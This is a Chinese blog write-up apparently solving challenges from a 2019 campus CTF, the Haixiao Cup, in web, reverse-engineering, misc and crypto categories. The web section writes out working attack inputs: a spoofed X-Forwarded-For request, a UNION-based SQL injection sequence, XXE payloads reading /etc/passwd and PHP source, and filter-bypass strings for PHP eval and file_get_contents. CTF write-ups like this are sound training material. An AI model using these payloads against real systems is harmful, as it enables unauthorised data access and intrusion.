2019第二届海啸杯

2019-10-20 14:10:00
ctf - wp - 海啸杯

WEB

Gzmtu学生?

GET / HTTP/1.1 Host: cvbcvbcvbvc.mycute.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: user=1 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 X-Forwarded-For:127.0.0.1

xff伪造,更改cookie。

flag{welcom_to_GZMTU_56456s4awdawdafafa}

宁静致远

抓包发现cookie有一个:Cookie: hexo=MQ%3D%3D

url解码再base64解码发现是数字1,存在注入。

payload进行base64编码

查库
-1' union select 1,database() -- 
查表
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='ctf') -- 
查字段
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='flag') -- 
查内容
-1' union select 1,flag from flag -- 

flag{This_is_flag_give_you}

who are you?

xee漏洞。

抓包发现:

<?xml version="1.0" encoding="UTF-8"?><feedback><author>1</author></feedback>

利用file协议读取etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<feedback><author>&xxe;</author></feedback>

利用php://filter读flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<feedback><author>&xxe;</author></feedback>

出来index源码,里面有flag

flag{79d10626-d27f-4569-a629-c9606d0378f2}

EasyWeb

<?php 
//flag in flag.php 
error_reporting(0); 
@$payload = $_GET['s']; 
$b='no hack'; 
if(!isset($_GET['s'])){ 
    highlight_file(__FILE__);  
    die(); 
} 
$payload=str_replace(['php','flag'], '', $payload); 
if(!empty($payload)&&stristr($b,'flag')==md5(@$_GET['x'])&&!empty($_GET['x'])) 
    echo file_get_contents($payload); 
else 
    echo "no no no!"; 
?>

主要考察str_replace函数和md5函数

payload:

s=flaflagg.pflaghp&x[]=1

flag{Hello_Gzmtu_66666666666}

1+1=?

代码审计题:

<?php 
error_reporting(0); 
include('waf.php'); 
function get_the_f2ag(){ 
        echo file_get_contents('flag.php'); 
} 

@$gf = $_GET['s']; 
if (!$gf ){ 
    highlight_file(__FILE__); 
} 

if(strlen($gf)>40){ 
    die('One inch long, one inch strong!'); 
} 
if(!preg_match('/[0-9]|\~|\^|\$|[A-Z|\|{}|%]/', $gf)){ 
    eval($gf); 
}else{ 
    die('No!'); 
} 

?>  

这个waf.php过滤了几乎所有php内置函数,加上正则使得无法进行异或等各种骚操作,fuzz之后发现只剩下一个eval可以使用。

提示放出来是!'a'=0,结合题目1+1=?,注意在php中进行运算时,可以使用!!'a'来当作1,也就是说构造如下: !!'a'+!!'a'==2,所以就构造出来一个2了,使用eval进行第一次的运算操作,注意+号需要url编码,否则会被解析为空格,并且php中将数字套上括号之后再进行字符串拼接就不会出现类型错误。

所以最后payload如下:

eval('get_the_f'.(!!'a'%2B!!'a').'ag();');

reverse

Baby reverse

用记事本或ida打开然后搜索flag就有了

flag{reverse_is_easy}

霸王别姬

先用ExeinfoPe查一下加壳的方式,然后下载对应的脱壳软件脱壳,ida或记事本打开就看见flag了。

flag{upx_so_easy_!}

misc

签到题

略~

抓黑客

grep "Accepted " auth.log | awk '{print $1,$2,$3,$9,$11}'

老烟枪

放kali上使用foremost,分出来一个zip,里面有个flag,使用ps进行方向转换即可。

flag{welcom_to_GZMTU_56456s4awdawdafafa}

表白

zip伪加密,直接用winrar或者改一下16进制即可。

打开是一个png文件,看着明显少了一截,直接修改长度即可。

flag{no-girl-no-ctf}

小明的求助

查看文件头发现都是666666,修改为zip文件头,然后按提示是hlqiou加上4位数字即可解出压缩包,直接写py脚本爆破即可。

flag{5oiR54ix6buE6I6J6I2D}

crypto

恺撒将军

serect = "]p{k]6wmfqozgJ<id[QidKkl[6Qy[5YEf6nziT@@"

for i in serect:
    print(chr(ord(i)-3),end="")

小明家的小菜园

https://www.qqxiuzi.cn/bianma/zhalanmima.php

战报

http://www.aihanyu.org/cncorpus/CpsTongji.aspx



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号